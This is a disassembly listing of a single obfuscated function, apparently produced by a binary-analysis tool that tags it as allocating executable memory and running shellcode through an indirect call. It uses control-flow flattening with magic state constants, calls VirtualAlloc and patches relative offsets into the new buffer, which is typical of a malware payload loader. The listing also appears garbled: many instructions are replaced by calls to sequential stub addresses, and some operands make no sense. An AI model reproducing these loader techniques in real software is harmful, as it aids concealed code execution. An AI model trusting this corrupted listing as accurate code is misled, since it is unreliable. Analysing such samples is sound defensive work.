Function at 0x443260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x380
mov eax, dword [ebp + 0x10]
call fcn.004450c0
mov edx, dword [ebp + 8]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xcc], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0xe0], 0x9e549577
mov eax, dword [ebp - 0xe0]
mov ecx, ebx
mov ecx, eax
sub ecx, 0x6de551c9
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe8], ecx
jg 0x443a7b
jmp 0x443331
mov eax, dword [ebp - 0xe4]
sub eax, 0x6379b0c3
mov dword [ebp - 0xec], eax
jg 0x443a60
jmp 0x44334d
mov eax, dword [ebp - 0xe4]
add eax, 0xae1496ae
mov dword [ebp - 0xf0], eax
jg 0x443a44
jmp 0x44336a
mov eax, dword [ebp - 0xe4]
sub eax, 0x4f15cb2b
mov dword [ebp - 0xf4], eax
jg 0x443a28
jmp 0x443386
mov eax, dword [ebp - 0xe4]
sub eax, 0x82871ba1
call fcn.004450d0
jg 0x4433be
jmp 0x4433a1
mov eax, dword [ebp - 0xe4]
add eax, 0x7fe32648
mov dword [ebp - 0xfc], eax
je 0x4441fe
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x886364db
mov dword [ebp - 0x100], eax
jg 0x4433f6
jmp 0x4433da
mov eax, dword [ebp - 0xe4]
sub eax, 0x82871ba2
mov dword [ebp - 0x104], eax
je 0x44409c
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x8aef70dd
mov dword [ebp - 0x108], eax
jg 0x44342d
jmp 0x443412
mov eax, dword [ebp - 0xe4]
sub eax, 0x886364dc
call fcn.004450e0
je 0x444246
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x90ceeadc
mov dword [ebp - 0x110], eax
jg 0x443465
jmp 0x443449
mov eax, dword [ebp - 0xe4]
sub eax, 0x8aef70de
mov dword [ebp - 0x114], eax
je 0x444083
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x9469e922
call fcn.004450f0
jg 0x44349c
jmp 0x443480
mov eax, dword [ebp - 0xe4]
sub eax, 0x90ceeadd
mov dword [ebp - 0x11c], eax
je 0x444dcf
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x96315d7d
call fcn.00445100
jg 0x4434d3
jmp 0x4434b7
mov eax, dword [ebp - 0xe4]
sub eax, 0x9469e923
mov dword [ebp - 0x124], eax
je 0x4441bc
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x971cdb07
mov dword [ebp - 0x128], eax
jg 0x44350b
jmp 0x4434ef
mov eax, dword [ebp - 0xe4]
sub eax, 0x96315d7e
mov dword [ebp - 0x12c], eax
je 0x443d84
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x9d20b5d3
mov dword [ebp - 0x130], eax
jg 0x443542
jmp 0x443527
call fcn.00445110
sub eax, 0x971cdb08
mov dword [ebp - 0x134], eax
je 0x444e91
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x46d6acca
mov dword [ebp - 0x138], eax
jg 0x443a0d
jmp 0x44355e
call fcn.00445120
sub eax, 0x46407232
mov dword [ebp - 0x13c], eax
jg 0x4439f1
jmp 0x443579
mov eax, dword [ebp - 0xe4]
sub eax, 0x45f4e81a
mov dword [ebp - 0x140], eax
jg 0x4439d5
jmp 0x443595
mov eax, dword [ebp - 0xe4]
sub eax, 0x41526e86
mov dword [ebp - 0x144], eax
jg 0x4439ba
jmp 0x4435b1
call fcn.00445130
sub eax, 0x38f7c1d3
mov dword [ebp - 0x148], eax
jg 0x44399e
jmp 0x4435cc
mov eax, dword [ebp - 0xe4]
sub eax, 0x319c9aa7
mov dword [ebp - 0x14c], eax
jg 0x443982
jmp 0x4435e8
mov eax, dword [ebp - 0xe4]
sub eax, 0x315996b9
mov dword [ebp - 0x150], eax
jg 0x443966
jmp 0x443604
mov eax, dword [ebp - 0xe4]
sub eax, 0x2e7a7251
mov dword [ebp - 0x154], eax
jg 0x44394a
jmp 0x443620
mov eax, dword [ebp - 0xe4]
add eax, 0x629f41c0
mov dword [ebp - 0x158], eax
jg 0x443659
jmp 0x44363d
mov eax, dword [ebp - 0xe4]
sub eax, 0x9d20b5d4
mov dword [ebp - 0x15c], eax
je 0x443b02
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x9df110a9
mov dword [ebp - 0x160], eax
jg 0x443691
jmp 0x443675
mov eax, dword [ebp - 0xe4]
sub eax, 0x9d60be41
mov dword [ebp - 0x164], eax
je 0x4446b1
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
add eax, 0x61ab6a8a
mov dword [ebp - 0x168], eax
jg 0x4436ca
jmp 0x4436ae
mov eax, dword [ebp - 0xe4]
sub eax, 0x9df110aa
mov dword [ebp - 0x16c], eax
je 0x4441e1
jmp 0x443a98
call fcn.00445140
add eax, 0x593afe3a
mov dword [ebp - 0x170], eax
jg 0x443701
jmp 0x4436e6
call fcn.00445150
sub eax, 0x9e549577
mov dword [ebp - 0x174], eax
je 0x443a9d
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0xb45f8b7a
mov dword [ebp - 0x178], eax
jg 0x443739
jmp 0x44371d
mov eax, dword [ebp - 0xe4]
sub eax, 0xa6c501c7
mov dword [ebp - 0x17c], eax
je 0x444ad0
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0xccdda26b
mov dword [ebp - 0x180], eax
jg 0x443772
jmp 0x443755
mov eax, dword [ebp - 0xe4]
add eax, 0x4ba07485
mov dword [ebp - 0x184], eax
je 0x443abe
jmp 0x443a98
call fcn.00445160
sub eax, 0xcef34bd2
mov dword [ebp - 0x188], eax
jg 0x4437a9
jmp 0x44378d
mov eax, dword [ebp - 0xe4]
sub eax, 0xccdda26c
mov dword [ebp - 0x18c], eax
je 0x443d6b
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0xd8ac62f2
mov dword [ebp - 0x190], eax
jg 0x4437e2
jmp 0x4437c5
mov eax, dword [ebp - 0xe4]
add eax, 0x310cb42d
mov dword [ebp - 0x194], eax
je 0x444ef2
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0xe88ba4f8
mov dword [ebp - 0x198], eax
jg 0x44381a
jmp 0x4437fe
mov eax, dword [ebp - 0xe4]
sub eax, 0xd8ac62f3
mov dword [ebp - 0x19c], eax
je 0x444ed1
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0xf28b7e75
call fcn.00445170
jg 0x443850
jmp 0x443835
call fcn.00445180
sub eax, 0xe88ba4f9
mov dword [ebp - 0x1a4], eax
je 0x443ae0
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x3ce48e8
call fcn.00445190
jg 0x443888
jmp 0x44386b
mov eax, dword [ebp - 0xe4]
add eax, 0xd74818a
mov dword [ebp - 0x1ac], eax
je 0x444adf
jmp 0x443a98
call fcn.004451a0
sub eax, 0x2565ff69
mov dword [ebp - 0x1b0], eax
jg 0x4438bf
jmp 0x4438a3
mov eax, dword [ebp - 0xe4]
sub eax, 0x3ce48e9
mov dword [ebp - 0x1b4], eax
je 0x444de8
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x25f3027b
mov dword [ebp - 0x1b8], eax
jg 0x4438f7
jmp 0x4438db
mov eax, dword [ebp - 0xe4]
sub eax, 0x2565ff6a
mov dword [ebp - 0x1bc], eax
je 0x444e78
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x25f3027c
mov dword [ebp - 0x1c0], eax
je 0x444a77
jmp 0x443913
mov eax, dword [ebp - 0xe4]
sub eax, 0x2baaeb8a
call fcn.004451b0
je 0x444644
jmp 0x44392e
call fcn.004451c0
add eax, 0xd4166231
mov dword [ebp - 0x1c8], eax
je 0x444e0f
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x2e7a7252
mov dword [ebp - 0x1cc], eax
je 0x443d93
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x315996ba
mov dword [ebp - 0x1d0], eax
je 0x4440ac
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x319c9aa8
mov dword [ebp - 0x1d4], eax
je 0x444f5a
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x38f7c1d4
mov dword [ebp - 0x1d8], eax
je 0x444f6a
jmp 0x443a98
call fcn.004451d0
sub eax, 0x41526e87
mov dword [ebp - 0x1dc], eax
je 0x44426c
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x45f4e81b
mov dword [ebp - 0x1e0], eax
je 0x444f3f
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x46407233
mov dword [ebp - 0x1e4], eax
je 0x444f30
jmp 0x443a98
call fcn.004451e0
sub eax, 0x46d6accb
mov dword [ebp - 0x1e8], eax
je 0x444ea0
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x4f15cb2c
mov dword [ebp - 0x1ec], eax
je 0x443b1b
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x51eb6953
mov dword [ebp - 0x1f0], eax
je 0x444185
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
sub eax, 0x6379b0c4
call fcn.004451f0
je 0x443b3d
jmp 0x443a98
mov eax, dword [ebp - 0xe4]
add eax, 0x921aae36
mov dword [ebp - 0x1f8], eax
je 0x4441a3
jmp 0x443a98
jmp 0x445025
mov eax, 0xb45f8b7b
mov ecx, 0x9d20b5d4
mov edx, dword [ebp - 0x80]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, 0xe88ba4f9
mov ecx, 0x9d20b5d4
cmp dword [ebp - 0x8c], 0
cmove eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, 0x4f15cb2c
mov ecx, 0x9d20b5d4
cmp dword [ebp - 0x88], 0
cmove eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov dword [ebp - 0x84], 0
mov dword [ebp - 0xe0], 0x319c9aa8
jmp 0x445025
mov eax, 0x2e7a7252
mov ecx, 0x6379b0c4
cmp dword [0x4f2bc8], 0
cmove eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
lea eax, [0x4e5820]
add eax, 5
mov ecx, 4
lea edx, [ebp - 0x74]
mov dword [ebp - 0x74], 0
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [ebp - 0x1fc], ecx
call fcn.0044a1e0
mov ecx, 1
mov edx, dword [ebp - 0x74]
mov dword [esp], edx
mov dword [esp + 4], 1
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x204], ecx
call fcn.00416ee8
mov dword [0x4f2bc8], eax
mov eax, dword [0x4f2bc8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x78], 0x18ed1034
call fcn.00445200
mov ecx, eax
sub ecx, 0x11f5e0e7
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x20c], ecx
jg 0x443be8
jmp 0x443bcd
mov eax, dword [ebp - 0x208]
sub eax, 0xd37e2c6a
call fcn.00445210
je 0x443ce3
jmp 0x443cad
mov eax, dword [ebp - 0x208]
sub eax, 0x5af77f56
mov dword [ebp - 0x214], eax
jg 0x443c91
jmp 0x443c04
mov eax, dword [ebp - 0x208]
add eax, 0xe712efcd
mov dword [ebp - 0x218], eax
jg 0x443c3d
jmp 0x443c21
mov eax, dword [ebp - 0x208]
sub eax, 0x11f5e0e8
mov dword [ebp - 0x21c], eax
je 0x443d26
jmp 0x443cad
mov eax, dword [ebp - 0x208]
sub eax, 0x18ed1034
mov dword [ebp - 0x220], eax
je 0x443cb2
jmp 0x443c59
mov eax, dword [ebp - 0x208]
sub eax, 0x4cee459d
mov dword [ebp - 0x224], eax
je 0x443d39
jmp 0x443c75
mov eax, dword [ebp - 0x208]
sub eax, 0x50112532
mov dword [ebp - 0x228], eax
je 0x443d4c
jmp 0x443cad
mov eax, dword [ebp - 0x208]
sub eax, 0x5af77f57
mov dword [ebp - 0x22c], eax
je 0x443cd0
jmp 0x443cad
jmp 0x443d47
mov eax, 0xd37e2c6a
mov ecx, 0x5af77f57
mov edx, dword [ebp - 0x6c]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x443d47
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x78], 0x50112532
jmp 0x443d47
lea eax, [0x4e5820]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x4f2bc8]
mov esi, dword [0x4e581c]
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call fcn.004283a0
mov ecx, 0x4cee459d
mov edx, 0x11f5e0e8
cmp eax, 0
cmovl ecx, edx
mov dword [ebp - 0x78], ecx
jmp 0x443d47
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x78], 0x50112532
jmp 0x443d47
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x78], 0x50112532
jmp 0x443ba9
mov eax, 0x96315d7e
mov ecx, 0xccdda26c
cmp dword [ebp - 0x70], 0
cmovl eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov dword [ebp - 0x84], 0
mov dword [ebp - 0xe0], 0x319c9aa8
jmp 0x445025
mov dword [ebp - 0xe0], 0x2e7a7252
jmp 0x445025
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0
call fcn.00445220
mov eax, dword [ebp - 0x68]
mov ecx, eax
sub ecx, 0xaf661ad6
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x234], ecx
jg 0x443de5
jmp 0x443dca
mov eax, dword [ebp - 0x230]
sub eax, 0x9574dc73
call fcn.00445230
je 0x444018
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0x65846948
mov dword [ebp - 0x23c], eax
jg 0x443f6a
jmp 0x443e01
mov eax, dword [ebp - 0x230]
sub eax, 0x585a7122
mov dword [ebp - 0x240], eax
jg 0x443f4e
jmp 0x443e1d
mov eax, dword [ebp - 0x230]
sub eax, 0x342efd03
mov dword [ebp - 0x244], eax
jg 0x443f33
jmp 0x443e39
mov eax, dword [ebp - 0x230]
sub eax, 0xf9b9657a
mov dword [ebp - 0x248], eax
jg 0x443f17
jmp 0x443e55
mov eax, dword [ebp - 0x230]
sub eax, 0xf592187b
mov dword [ebp - 0x24c], eax
jg 0x443efc
jmp 0x443e71
mov eax, dword [ebp - 0x230]
sub eax, 0xd972d7a0
mov dword [ebp - 0x250], eax
jg 0x443ee1
jmp 0x443e8d
mov eax, dword [ebp - 0x230]
sub eax, 0xaf661ad7
mov dword [ebp - 0x254], eax
je 0x443f97
jmp 0x443ea9
mov eax, dword [ebp - 0x230]
sub eax, 0xb093ab57
mov dword [ebp - 0x258], eax
je 0x44403b
jmp 0x443ec5
mov eax, dword [ebp - 0x230]
sub eax, 0xbd7251a6
mov dword [ebp - 0x25c], eax
je 0x443ffa
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0xd972d7a1
call fcn.00445240
je 0x443fce
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0xf592187c
call fcn.00445250
je 0x44404e
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0xf9b9657b
mov dword [ebp - 0x268], eax
je 0x443fb3
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0x342efd04
call fcn.00445260
je 0x443f8b
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0x585a7123
mov dword [ebp - 0x270], eax
je 0x444058
jmp 0x443f86
mov eax, dword [ebp - 0x230]
sub eax, 0x65846949
mov dword [ebp - 0x274], eax
je 0x444024
jmp 0x443f86
jmp 0x444053
mov dword [ebp - 0x68], 0xaf661ad7
jmp 0x444053
mov eax, dword [ebp - 0x64]
cmp eax, dword [0x4e5818]
setb cl
and cl, 1
mov byte [ebp - 0x55], cl
call fcn.00445270
jmp 0x444053
mov eax, 0xb093ab57
mov ecx, 0xd972d7a1
mov dl, byte [ebp - 0x55]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x68], eax
jmp 0x444053
mov eax, 0x9574dc73
mov ecx, 0xbd7251a6
lea edx, [0x4e5500]
imul esi, dword [ebp - 0x64], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x60]
cmove eax, ecx
call fcn.00445280
jmp 0x444053
lea eax, [0x4e5500]
imul ecx, dword [ebp - 0x64], 0xc
add eax, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x68], 0x585a7123
jmp 0x444053
mov dword [ebp - 0x68], 0x65846949
jmp 0x444053
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0x342efd04
jmp 0x444053
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0x585a7123
jmp 0x444053
call fcn.00445290
jmp 0x443da8
mov eax, 0x82871ba2
mov ecx, 0x8aef70de
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x98], edx
cmp dword [ebp - 0x98], 0
cmove eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov dword [ebp - 0x84], 0
mov dword [ebp - 0xe0], 0x319c9aa8
jmp 0x445025
mov eax, 0x315996ba
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, dword [0x4f2bc8]
mov ecx, dword [ebp - 0x98]
add eax, dword [ecx]
call fcn.004452a0
call fcn.0041ff40
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x94]
sub eax, 0xffffffd5
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x94]
call fcn.004452b0
shl eax, 1
mov ecx, dword [ebp - 0x94]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0x94]
call fcn.004452c0
shl eax, 1
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx + 0x23]
shl ecx, 1
add eax, ecx
mov ecx, dword [ebp - 0x94]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xac], ecx
mov eax, dword [ebp - 0x88]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov ecx, 0x51eb6953
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
sete dl
and dl, 1
mov byte [ebp - 0x79], dl
mov dword [ebp - 0xe0], ecx
jmp 0x445025
mov eax, 0x9469e923
mov ecx, 0x6de551ca
mov dl, byte [ebp - 0x79]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov dword [ebp - 0x84], 0
mov dword [ebp - 0xe0], 0x319c9aa8
jmp 0x445025
mov eax, 0x801cd9b8
mov ecx, 0x9df110aa
mov edx, dword [ebp - 0x98]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, dword [ebp - 0x98]
mov eax, dword [eax + 8]
call fcn.004452d0
mov dword [ebp - 0xe0], 0x319c9aa8
jmp 0x445025
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x98]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xdc]
call fcn.004452e0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xbc], 0
call fcn.004452f0
mov dword [ebp - 0xe0], 0x886364dc
jmp 0x445025
mov eax, 0x45f4e81b
mov ecx, 0x4f9c50
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbc]
cmp edx, dword [ebp - 0x88]
cmovb eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx + 0x1f]
mov edx, dword [ebp - 0x9c]
call fcn.00445300
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x850c778
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0x99e8c309
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x27c], ecx
jg 0x4442ea
jmp 0x4442ce
mov eax, dword [ebp - 0x278]
sub eax, 0x8a860e8f
mov dword [ebp - 0x280], eax
je 0x444612
jmp 0x444535
call fcn.00445310
sub eax, 0x68d58007
mov dword [ebp - 0x284], eax
jg 0x44451a
jmp 0x444305
mov eax, dword [ebp - 0x278]
sub eax, 0x5d230b17
mov dword [ebp - 0x288], eax
jg 0x4444fe
jmp 0x444321
mov eax, dword [ebp - 0x278]
sub eax, 0xa10333db
mov dword [ebp - 0x28c], eax
jg 0x444359
jmp 0x44433d
mov eax, dword [ebp - 0x278]
sub eax, 0x99e8c30a
mov dword [ebp - 0x290], eax
je 0x4445c0
jmp 0x444535
mov eax, dword [ebp - 0x278]
sub eax, 0x536e4874
mov dword [ebp - 0x294], eax
jg 0x4444e2
jmp 0x444375
call fcn.00445320
add eax, 0xb13bb601
mov dword [ebp - 0x298], eax
jg 0x4444c6
jmp 0x444391
mov eax, dword [ebp - 0x278]
sub eax, 0x25c189fc
mov dword [ebp - 0x29c], eax
jg 0x4444aa
jmp 0x4443ad
mov eax, dword [ebp - 0x278]
sub eax, 0xa50ce469
mov dword [ebp - 0x2a0], eax
jg 0x4443e5
jmp 0x4443c9
mov eax, dword [ebp - 0x278]
sub eax, 0xa10333dc
mov dword [ebp - 0x2a4], eax
je 0x4445a8
jmp 0x444535
mov eax, dword [ebp - 0x278]
sub eax, 0xc1423f60
mov dword [ebp - 0x2a8], eax
jg 0x44441d
jmp 0x444401
mov eax, dword [ebp - 0x278]
sub eax, 0xa50ce46a
mov dword [ebp - 0x2ac], eax
je 0x4445b4
jmp 0x444535
call fcn.00445330
add eax, 0xf7af3889
mov dword [ebp - 0x2b0], eax
jg 0x444455
jmp 0x444439
mov eax, dword [ebp - 0x278]
sub eax, 0xc1423f61
mov dword [ebp - 0x2b4], eax
je 0x44459c
jmp 0x444535
mov eax, dword [ebp - 0x278]
add eax, 0xf7af3888
mov dword [ebp - 0x2b8], eax
je 0x44453a
jmp 0x444472
mov eax, dword [ebp - 0x278]
sub eax, 0xc8bbdf1
mov dword [ebp - 0x2bc], eax
je 0x444555
jmp 0x44448e
mov eax, dword [ebp - 0x278]
sub eax, 0xd2028e9
mov dword [ebp - 0x2c0], eax
je 0x44461e
jmp 0x444535
mov eax, dword [ebp - 0x278]
sub eax, 0x25c189fd
mov dword [ebp - 0x2c4], eax
je 0x444582
jmp 0x444535
mov eax, dword [ebp - 0x278]
sub eax, 0x4ec44a00
mov dword [ebp - 0x2c8], eax
je 0x4445f6
jmp 0x444535
mov eax, dword [ebp - 0x278]
sub eax, 0x536e4875
mov dword [ebp - 0x2cc], eax
je 0x444576
jmp 0x444535
mov eax, dword [ebp - 0x278]
sub eax, 0x5d230b18
mov dword [ebp - 0x2d0], eax
je 0x4445e3
jmp 0x444535
call fcn.00445340
sub eax, 0x68d58008
mov dword [ebp - 0x2d4], eax
je 0x4445cc
jmp 0x444535
jmp 0x444619
mov eax, 0x5d230b18
mov ecx, 0xc8bbdf1
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x444619
mov eax, 0xa10333dc
mov ecx, 0x536e4875
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x444619
mov dword [ebp - 0x54], 0x25c189fd
jmp 0x444619
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0xc1423f61
jmp 0x444619
mov dword [ebp - 0x54], 0xd2028e9
jmp 0x444619
mov dword [ebp - 0x54], 0xa50ce46a
jmp 0x444619
mov dword [ebp - 0x54], 0x99e8c30a
jmp 0x444619
mov dword [ebp - 0x54], 0x68d58008
jmp 0x444619
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0x850c778
jmp 0x444619
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0xd2028e9
jmp 0x444619
mov eax, dword [ebp - 0x50]
call fcn.00445350
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0x25c189fd
jmp 0x444619
mov dword [ebp - 0x54], 0xa50ce46a
jmp 0x4442ac
mov eax, 0x9d60be41
mov ecx, 0x2baaeb8a
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0xa0], edx
cmp edx, 0
cmovne eax, ecx
call fcn.00445360
jmp 0x445025
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0xdc]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
call fcn.00445370
add ecx, dword [ebp - 0xbc]
add ecx, 4
sub eax, ecx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xbc]
mov dword [ecx + edx], eax
call fcn.00445380
add eax, 4
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xc8]
add eax, 1
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xe0], 0x886364dc
jmp 0x445025
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
call fcn.00445390
mov dword [ebp - 0x3c], 0x850c778
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x99e8c309
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2dc], ecx
jg 0x444719
jmp 0x4446fd
mov eax, dword [ebp - 0x2d8]
sub eax, 0x8a860e8f
mov dword [ebp - 0x2e0], eax
je 0x444a3c
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0x68d58007
call fcn.004453a0
jg 0x444946
jmp 0x444734
mov eax, dword [ebp - 0x2d8]
sub eax, 0x5d230b17
mov dword [ebp - 0x2e8], eax
jg 0x44492a
jmp 0x444750
mov eax, dword [ebp - 0x2d8]
sub eax, 0xa10333db
mov dword [ebp - 0x2ec], eax
jg 0x444788
jmp 0x44476c
mov eax, dword [ebp - 0x2d8]
sub eax, 0x99e8c30a
mov dword [ebp - 0x2f0], eax
je 0x4449ed
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0x536e4874
mov dword [ebp - 0x2f4], eax
jg 0x44490f
jmp 0x4447a4
mov eax, dword [ebp - 0x2d8]
sub eax, 0x4ec449ff
mov dword [ebp - 0x2f8], eax
jg 0x4448f3
jmp 0x4447c0
mov eax, dword [ebp - 0x2d8]
sub eax, 0x25c189fc
mov dword [ebp - 0x2fc], eax
jg 0x4448d7
jmp 0x4447dc
mov eax, dword [ebp - 0x2d8]
sub eax, 0xa50ce469
mov dword [ebp - 0x300], eax
jg 0x444814
jmp 0x4447f8
mov eax, dword [ebp - 0x2d8]
sub eax, 0xa10333dc
mov dword [ebp - 0x304], eax
je 0x4449d7
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0xc1423f60
mov dword [ebp - 0x308], eax
jg 0x44484c
jmp 0x444830
mov eax, dword [ebp - 0x2d8]
sub eax, 0xa50ce46a
mov dword [ebp - 0x30c], eax
je 0x4449e3
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0x850c777
mov dword [ebp - 0x310], eax
jg 0x444884
jmp 0x444868
mov eax, dword [ebp - 0x2d8]
sub eax, 0xc1423f61
mov dword [ebp - 0x314], eax
je 0x4449cb
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0x850c778
mov dword [ebp - 0x318], eax
je 0x444965
jmp 0x4448a0
mov eax, dword [ebp - 0x2d8]
sub eax, 0xc8bbdf1
call fcn.004453b0
je 0x444982
jmp 0x4448bb
mov eax, dword [ebp - 0x2d8]
sub eax, 0xd2028e9
mov dword [ebp - 0x320], eax
je 0x444a48
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0x25c189fd
mov dword [ebp - 0x324], eax
je 0x4449b1
jmp 0x444960
mov eax, dword [ebp - 0x2d8]
sub eax, 0x4ec44a00
mov dword [ebp - 0x328], eax
je 0x444a22
jmp 0x444960
call fcn.004453c0
sub eax, 0x536e4875
mov dword [ebp - 0x32c], eax
je 0x4449a5
jmp 0x444960
